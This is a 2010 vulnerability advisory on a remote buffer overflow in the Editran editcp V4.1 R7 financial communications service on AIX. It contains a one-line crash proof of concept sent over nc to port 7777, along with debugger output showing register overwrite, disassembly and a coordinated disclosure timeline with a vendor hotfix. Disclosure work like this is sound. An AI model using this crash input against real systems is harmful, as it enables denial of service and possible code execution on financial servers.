=============================== - Advisory - =============================== Tittle: Editran editcp V4.1 R7 - Remote buffer overflow Risk: High Date: 25.Jun.2010 Author: Pedro Andujar .: [ INTRO ] :. EDItran Communications Platform: this is the market standard for the Spanish financial sector in the area of communications. It comprises an exchange architecture between heterogeneous environments for data networks (tcp, x.25, x.28, LU6.2, SwiftNet) and the Internet. It is the only product homologated by BDE (Central Bank of Spain) for the transmission of Official Reporting. This software which is commercialized by Indra, is highly deployed in the financial, inssurance and gubernamental environments. .: [ TECHNICAL DESCRIPTION ] :. Editran editcp V4.1 R7 is prone to a remote buffer overflow because the software fails to perform adequate boundary checks on user-supplied data. This issue could allow a malicious user to perform denial of service attacks or run arbitrary code with the application context privileges on an affected server. This issue has been tested on Aix 5.3.9 ppc. pandujar@ITSec01 /tmp$ perl -e '{print "A"x91}' | nc 192.168.1.164 7777 bash-3.2# tail -f editcp.out *** Arranque *** - editran - Tue Jun 22 14:53:02 CDT 2010 editcp tcp V4.1 R7 - Jan 22 2007 Copyright (C) 1991-2004 INDRA 22/06/2010 14:53:02.627 editcp (372968) Licencia correcta (tcp). 22/06/2010 14:53:02.627 editcp (372968) LISTEN TCP address 192.168.1.164:7777. 22/06/2010 14:53:36.650 editcp (372968) Recibida seņal (sig=11). bash-3.2# /tmp/dbx -C core reading symbolic information ...warning: no source compiled with -g Segmentation fault in lsConnectionCached at 0x10008298 0x10008298 (lsConnectionCached+0x54) 7d69582e lwzx r11,r9,r11 (/tmp/dbx) where lsConnectionCached(0x41ffffff) at 0x10008298 SOCKSclose(0x41ffffff) at 0x10006548 NetClose() at 0x100036d8 SigHaltHandler(??) at 0x10000958 SearchEvent(??) at 0x100037dc WaitForIncomingEvent() at 0x10003418 WaitForEvent() at 0x10002e44 main(??, ??) at 0x1000078c (/tmp/dbx) print $pc 0x10008298 (/tmp/dbx) registers $r0:0x100036dc $stkp:0x2ff1e090 $toc:0x20082164 $r3:0x41ffffff $r4:0x00000001 $r5:0x00000000 $r6:0x0000f0b2 $r7:0x00000001 $r8:0x00000001 $r9:0x20083f60 $r10:0x00000002 $r11:0x08282828 $r12:0x40445980 $r13:0x00000000 $r14:0x2ff1e200 $r15:0x000000a1 $r16:0x00000002 $r17:0x200820f8 $r18:0xdeadbeef $r19:0xdeadbeef $r20:0x0000000b $r21:0x0000000b $r22:0x00012000 $r23:0x2ff47600 $r24:0x00012000 $r25:0x00000000 $r26:0x0101ea00 $r27:0x2370b400 $r28:0x00000000 $r29:0x2009c528 $r30:0x2008ab68 $r31:0x2ff1e090 $iar:0x10008298 $msr:0x0000d0b2 $cr:0x44222224 $link:0x1000654c $ctr:0x00000000 $xer:0x00000000 $mq:0xdeadbeef (/tmp/dbx) listi main 0x10000468 (main) 7c6802a6 mflr r3 0x1000046c (main+0x4) 93a1fff4 stw r29,-12(r1) 0x10000470 (main+0x8) 7c9d2378 mr r29,r4 0x10000474 (main+0xc) 93c1fff8 stw r30,-8(r1) 0x10000478 (main+0x10) 3bc00000 li r30,0x0 0x1000047c (main+0x14) 90610008 stw r3,0x8(r1) 0x10000480 (main+0x18) 93e1fffc stw r31,-4(r1) 0x10000484 (main+0x1c) 9421faa8 stwu r1,-1368(r1) 0x10000488 (main+0x20) 80640000 lwz r3,0x0(r4) 0x1000048c (main+0x24) 3880002f li r4,0x2f If we increment the amount of "A"'s to 100, the whole r3 register is overwritten: (/tmp/dbx) frame lsConnectionCached(0x41414141) at 0x10008298 (/tmp/dbx) dump lsConnectionCached(0x41414141) at 0x100082b4 (/tmp/dbx) listi 0x10008298 (lsConnectionCached+0x54) 7d69582e lwzx r11,r9,r11 0x1000829c (lsConnectionCached+0x58) 7d495838 and r9,r10,r11 0x100082a0 (lsConnectionCached+0x5c) 2c890000 cmpi cr1,0x0,r9,0x0 0x100082a4 (lsConnectionCached+0x60) 40860010 bne cr1,0x100082b4 (lsConnectionCached+0x70) 0x100082a8 (lsConnectionCached+0x64) 48000004 b 0x100082ac (lsConnectionCached+0x68) 0x100082ac (lsConnectionCached+0x68) 38600000 li r3,0x0 0x100082b0 (lsConnectionCached+0x6c) 48000098 b 0x10008348 (lsConnectionCached+0x104) 0x100082b4 (lsConnectionCached+0x70) 60000000 ori r0,r0,0x0 0x100082b8 (lsConnectionCached+0x74) 81220360 lwz r9,0x360(r2) 0x100082bc (lsConnectionCached+0x78) 81690000 lwz r11,0x0(r9) (/tmp/dbx) listi lsConnectionCached 0x10008244 (lsConnectionCached) 93e1fffc stw r31,-4(r1) 0x10008248 (lsConnectionCached+0x4) 9421ffd8 stwu r1,-40(r1) 0x1000824c (lsConnectionCached+0x8) 7c3f0b78 mr r31,r1 0x10008250 (lsConnectionCached+0xc) 907f0040 stw r3,0x40(r31) 0x10008254 (lsConnectionCached+0x10) 8122033c lwz r9,0x33c(r2) 0x10008258 (lsConnectionCached+0x14) 81690000 lwz r11,0x0(r9) 0x1000825c (lsConnectionCached+0x18) 2c8b0000 cmpi cr1,0x0,r11,0x0 0x10008260 (lsConnectionCached+0x1c) 4186004c beq cr1,0x100082ac (lsConnectionCached+0x68) 0x10008264 (lsConnectionCached+0x20) 813f0040 lwz r9,0x40(r31) 0x10008268 (lsConnectionCached+0x24) 3960ffff li r11,-1 Debug of live process, where the old r3 value is stored on r31: (/tmp/dbx) run editcp tcp V4.1 R7 - Jan 22 2007 Copyright (C) 1991-2004 INDRA 25/06/2010 16:31:39.903 editcp (356528) Licencia correcta (tcp). 25/06/2010 16:31:39.903 editcp (356528) LISTEN TCP address 192.168.1.164:7777. Segmentation fault in SearchEvent at 0x100037dc ($t1) 0x100037dc (SearchEvent+0x10) 7caa202e lwzx r5,r10,r4 (/tmp/dbx) x $r0:0x00000001 $stkp:0x2ff1e5a0 $toc:0x20082164 $r3:0x00000001 $r4:0x200855f8 $r5:0x200a46c0 $r6:0x00000df0 $r7:0x00000000 $r8:0x00000000 $r9:0xf03a51b0 $r10:0x08282828 $r11:0x00000002 $r12:0x100017bc $r13:0xdeadbeef $r14:0x00000001 $r15:0x2ff22c90 $r16:0x2ff22c98 $r17:0x00000000 $r18:0xdeadbeef $r19:0xdeadbeef $r20:0xdeadbeef $r21:0xdeadbeef $r22:0xdeadbeef $r23:0x200820ec $r24:0x100033e0 $r25:0xdeadbeef $r26:0xdeadbeef $r27:0x00000001 $r28:0x00000000 $r29:0x2009c528 $r30:0x20089c18 $r31:0x41414141 $iar:0x100037dc $msr:0x0000d0b2 $cr:0x48222224 $link:0x1000341c $ctr:0xd03c46fc $xer:0x00000004 $mq:0xdeadbeef (/tmp/dbx) print $pc 0x100037dc (/tmp/dbx) listi SearchEvent 0x100037cc (SearchEvent) 80820088 lwz r4,0x88(r2) 0x100037d0 (SearchEvent+0x4) 546ae8fa rlwinm r10,r3,0x1d,0x3,0x1d 0x100037d4 (SearchEvent+0x8) 39600002 li r11,0x2 0x100037d8 (SearchEvent+0xc) 546306fe rlwinm r3,r3,0x0,0x1b,0x1f 0x100037dc (SearchEvent+0x10) 7caa202e lwzx r5,r10,r4 0x100037e0 (SearchEvent+0x14) 7ca41e30 sraw r4,r5,r3 0x100037e4 (SearchEvent+0x18) 70890001 andi. r9,r4,0x1 0x100037e8 (SearchEvent+0x1c) 40820024 bne 0x1000380c (SearchEvent+0x40) 0x100037ec (SearchEvent+0x20) 8102008c lwz r8,0x8c(r2) 0x100037f0 (SearchEvent+0x24) 7cea402e lwzx r7,r10,r8 (/tmp/dbx) listi lsConnectionCached 0x10008244 (lsConnectionCached) 93e1fffc stw r31,-4(r1) 0x10008248 (lsConnectionCached+0x4) 9421ffd8 stwu r1,-40(r1) 0x1000824c (lsConnectionCached+0x8) 7c3f0b78 mr r31,r1 0x10008250 (lsConnectionCached+0xc) 907f0040 stw r3,0x40(r31) 0x10008254 (lsConnectionCached+0x10) 8122033c lwz r9,0x33c(r2) 0x10008258 (lsConnectionCached+0x14) 81690000 lwz r11,0x0(r9) 0x1000825c (lsConnectionCached+0x18) 2c8b0000 cmpi cr1,0x0,r11,0x0 0x10008260 (lsConnectionCached+0x1c) 4186004c beq cr1,0x100082ac (lsConnectionCached+0x68) 0x10008264 (lsConnectionCached+0x20) 813f0040 lwz r9,0x40(r31) 0x10008268 (lsConnectionCached+0x24) 3960ffff li r11,-1 .: [ CHANGELOG ] :. * 22/Jun/2010: - Vulnerability discovered. * 22/Jun/2010: - Vendor contacted. * 23/Jun/2010: - Vendor response providing hotfix. * 05/Jul/2010: - Public disclosure. .: [ SOLUTIONS ] :. Vendor hotfix is available. .: [ ACKNOWLEDGEMENTS ] :. Ricardo @Indra for the quick response and patch. .: [ REFERENCES ] :. [+] Editran http://www.editran.info/ [+] Indra http://www.indracompany.com/en/soluciones-y-servicios/solucion/digital-market/offering [+] Indra/PPT http://bit.ly/9JTeiL [+] Banco de Espaņa http://www.bde.es/webbde/es/secciones/servicio/redbde/redbde.html [+] !dSR - Digital Security Research http://www.digitalsec.net/ -=EOF=-